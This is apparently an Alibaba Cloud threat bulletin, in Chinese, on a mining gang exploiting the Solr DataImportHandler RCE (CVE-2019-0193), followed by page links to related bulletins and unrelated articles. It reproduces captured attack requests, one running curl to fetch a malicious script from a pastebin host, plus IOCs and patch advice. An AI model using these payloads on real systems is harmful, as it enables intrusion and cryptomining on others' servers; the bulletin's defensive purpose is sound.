威胁快报|Solr dataimport成挖矿团伙新型利用方式
概述
近日,阿里云安全团队监测到挖矿团伙利用solr dataimport RCE(CVE-2019-0193)作为新的攻击方式对云上主机进行攻击,攻击成功后下载门罗币挖矿程序进行牟利。该团伙使用的恶意脚本与之前报道的“威胁预警 | watchbog挖矿蠕虫升级,利用Bluekeep RDP等多个漏洞蓄势待发”文章所提团伙使用的基本一致,因此基本认为是同一团伙所为。
除此之外,可以合理推测,该团伙一直活跃在寻找新的攻击方式来植入其恶意程序,阿里云安全团队已在第一时间对该利用方式进行了监控,并对该团伙的行为持续关注。建议用户及时排查自身主机是否受到影响,并关注阿里云安全团队的相关文章。
漏洞详情
漏洞简介
Apache Solr是开源企业搜索平台,主要包括全文搜索、动态聚类、富文本处理等功能。Remote Code Execution via DataImportHandler(CVE-2019-0193)是apache Solr在2019.8.1日披露的漏洞预警,此漏洞发生在Solr的DataImportHandler(DIH)模块中,该模块提供从数据库或其他数据源获取数据的能力。由于Solr admin默认是不需要鉴权认证的,且DIH支持脚本操作,因此可以通过构造恶意http请求,实现远程命令执行。
如下图,在solr admin中选择dataimport选项卡,由于dataimport配置支持脚本,我们可以在配置文件中写入恶意脚本,执行curl xxx.xxx.xxx.xx指令。

如下图,我们服务端收到了solr发送的http请求,证明RCE成功。

利用分析
阿里云安全团队近日监测到有攻击者尝试利用此漏洞对阿里云上主机进行入侵。其首先发送http://xx.xx.xx.xx:8983/solr/admin/cores?action=STATUS&wt=json的请求来获取solr中core的名称。

之后对这些core_name进行遍历,尝试向corename/dataimport发送如下payload进而向https://pastebin.com/raw/jjFzjCwx请求恶意脚本。
command=full-import&verbose=false&clean=false&commit=true&debug=true&core=test&dataConfig=<dataConfig>
+<dataSource+type="URLDataSource"/>
+<script><![CDATA[
+++++++++function+poc(){+java.lang.Runtime.getRuntime().exec("curl+-fsSL+https://pastebin.com/raw/jjFzjCwx+-o+/tmp/baby");
+++++++++}
+]]></script>
+<document>
+++<entity+name="stackoverflow"
+++++++++++url="https://stackoverflow.com/feeds/tag/solr"
+++++++++++processor="XPathEntityProcessor"
+++++++++++forEach="/feed"
+++++++++++transformer="script:poc"+/>
+</document>
</dataConfig>&name=dataimport
跟进https://pastebin.com/raw/jjFzjCwx此地址的恶意脚本,发现其与之前的分析的watchdog挖矿程序只有一处不同,且为非关键内容,之后的部分可以参见之前的文章。

除此之外,还有疑似发送ping命令来收集存在漏洞主机的恶意请求:
command=full-import&verbose=false&clean=false&commit=true&debug=true&core=solr&dataConfig=<dataConfig>
<dataSource type="URLDataSource"/>
<script>
<![CDATA[
function poc(row) {
var Runtime = Java.type("java.lang.Runtime");
Runtime.getRuntime().exec("ping -c 1 solr_CVE_2019_0193XfSIcGVY.awvsscan119.autoverify.cn");
return row;
}
]]></script>
</dataConfig>
漏洞影响
目前,全网使用solr组件的设备数大约在1.9w台左右,阿里云安全团队建议用户及时查看自身机器状态,防止事态进一步扩大。

IOC
- https://pastebin.com/raw/jjFzjCwx
- https://pastebin.com/raw/3FDDiNwW
- https://pastebin.com/raw/KJcZ9HLL
影响版本
- solr 8.2.0 之前版本(不包含)
- 需启用DataImportHandler模块
- solr 未启用鉴权认证或采用弱密码
安全建议
- 将solr 升级至8.2.0或更新版本(8.2.0版本之后默认不开启dataconfig参数支持)
- 设置solrconfig.xml->requestHandler->config标签内内容为空
- 与DIH相关的请求采用白名单过滤
参考文章
[1] 威胁预警 | watchbog挖矿蠕虫升级,利用Bluekeep RDP等多个漏洞蓄势待发
[2] CVE-2019-0193 Remote Code Execution via DataImportHandler
本文作者:苍珀
本文为云栖社区原创内容,未经允许不得转载。
威胁快报|Solr dataimport成挖矿团伙新型利用方式的更多相关文章
- 威胁预警|Solr velocity模板注入远程命令执行已加入watchbog武器库,漏洞修补时间窗口越来越短
概述 近日,阿里云安全团队监测到挖矿团伙watchbog更新了其使用的武器库,增加了最新Solr Velocity 模板注入远程命令执行漏洞的攻击方式,攻击成功后会下载门罗币挖矿程序进行牟利.建议用户 ...
- 威胁快报|挖矿团伙8220进化,rootkit挖矿趋势兴起
近日,阿里云安全团队发现8220挖矿团伙为了更持久的驻留主机以获得最大收益,开始使用rootkit技术来进行自我隐藏.这类隐藏技术的使用在watchdogs等挖矿蠕虫使用后开始出现逐渐扩散和进化的趋势 ...
- 威胁快报|新兴挖矿团伙借助shodan作恶,非web应用安全再鸣警钟
近日,阿里云安全发现了一个使用未授权访问漏洞部署恶意Docker镜像进行挖矿的僵尸网络团伙.我们给这一团伙取名为Xulu,因为该团伙使用这个字符串作为挖矿时的用户名. Xulu并不是第一个攻击Dock ...
- 威胁快报|Bulehero挖矿蠕虫升级,PhpStudy后门漏洞加入武器库
概述 近日,阿里云安全团队监控到Bulehero挖矿蠕虫进行了版本升级,蠕虫升级后开始利用最新出现的PHPStudy后门漏洞作为新的攻击方式对Windows主机进行攻击,攻击成功后会下载门罗币挖矿程序 ...
- Solr学习笔记之3、Solr dataimport - 从SQLServer导入数据建立索引
Solr学习笔记之3.Solr导入SQLServer数据建立索引 一.下载MSSQLServer的JDBC驱动 下载:Microsoft JDBC Driver 4.0 for SQL Server ...
- 将html页改成jsp的两种方式
将html页改成jsp的两种方式 作者: 字体:[增加 减小] 类型:转载 时间:2013-08-13 将html页改成jsp有两种方法,第一种是直接修改html文件,另一种是新建jsp文件.下面为大 ...
- Oracle字符串行拆分成列的三种方式
Oracle字符串行拆分成列的三种方式 --muphy 开发过程中经常会遇到将前台多个值用逗号连接一同传递到后台查询,这个用逗号连接的字符串分隔的每个字符串分别对应Oracle数据库表的不同行. 如下 ...
- 威胁快报|首爆新型ibus蠕虫,利用热门漏洞疯狂挖矿牟利
一.背景 近日阿里云安全团队发现了一起利用多个流行漏洞传播的蠕虫事件.黑客首先利用ThinkPHP远程命令执行等多个热门漏洞控制大量主机,并将其中一台“肉鸡”作为蠕虫脚本的下载源.其余受控主机下载并运 ...
- 威胁快报|首爆,新披露Jenkins RCE漏洞成ImposterMiner挖矿木马新“跳板”
简介 阿里云安全于近日捕获到一起使用Jenkins RCE漏洞进行攻击的挖矿事件.除挖矿外,攻击者还曾植入具有C&C功能的tsunami木马,也预留了反弹shell的功能,给用户带来极大安全隐 ...
随机推荐
- Pascal 排序算法
Pascal 排序 排序 排序就是将杂乱无章的数据元素,通过一定的方法按关键字顺序排列的过程.排序问题是一个十分重要的问题,并且排序的方法有很多种: 例子:输入20个数,将它们按照从高到低的次序排 ...
- MyBatis的核心API
MyBatis核心Api 上次简单的写了一个MyBatis的简介以及编写了一个MyBatis的入门程序,但是在入门程序中出现多很多比较陌生的词,比如SqlSessionFactoryBuilder.S ...
- springcloud系列15 bus的使用
可以结合wekbbok进行通知: 将更新的代码进行点击就好:
- Nand Flash 控制器工作原理
对 Nand Flash 存储芯片进行操作, 必须通过 Nand Flash 控制器的专用寄存器才能完成.所以,不能对 Nand Flash 进行总线操作.而 Nand Flash 的写操作也必须块方 ...
- Android开发 处理内存申请失败的报错(Failed to allocate a 38189038 byte allocation with 16777216 free bytes and 20MB until OOM)
问题原因 当你在操作图片或者其他大量文件数据时会出现:Failed to allocate a 38189038 byte allocation with 16777216 free bytes an ...
- 转载别人的ftp,觉得目录结构不错,学习
开发简单的FTP:1. 用户登陆2. 上传/下载文件3. 不同用户家目录不同4. 查看当前目录下文件5. 充分使用面向对象知识 REDMAE 1 用户登陆 2 3 1.查看用户目录文件 4 2.上传文 ...
- 多项式模板&题目整理
注:多项式的题目,数组应开:N的最近2的整数次幂的4倍. 多项式乘法 FFT模板 时间复杂度\(O(n\log n)\). 模板: void FFT(Z *a,int x,int K){ static ...
- Tensortflow安装
1. CMD里面 pip install --upgrade --ignore-installed tensorflow
- 「题解」:07.18NOIP模拟赛T1:星际旅行
问题 A: 星际旅行 时间限制: 1 Sec 内存限制: 256 MB 题面 题面谢绝公开. 考试心路历程 拿到这道题感觉很懵逼,所以先搞的T2和T3,最后码了个暴力,结果还不如直接输出‘0’得分高 ...
- 《你不知道的javascript》上卷笔记整理(一)
函数声明和变量声明都会被提升,但函数声明会被提升到普通变量前,而 var foo = function bar(){}; 赋值操作不会被提升. 闭包: 基于词法作用域(作用域是根据名称查找变量的一套规 ...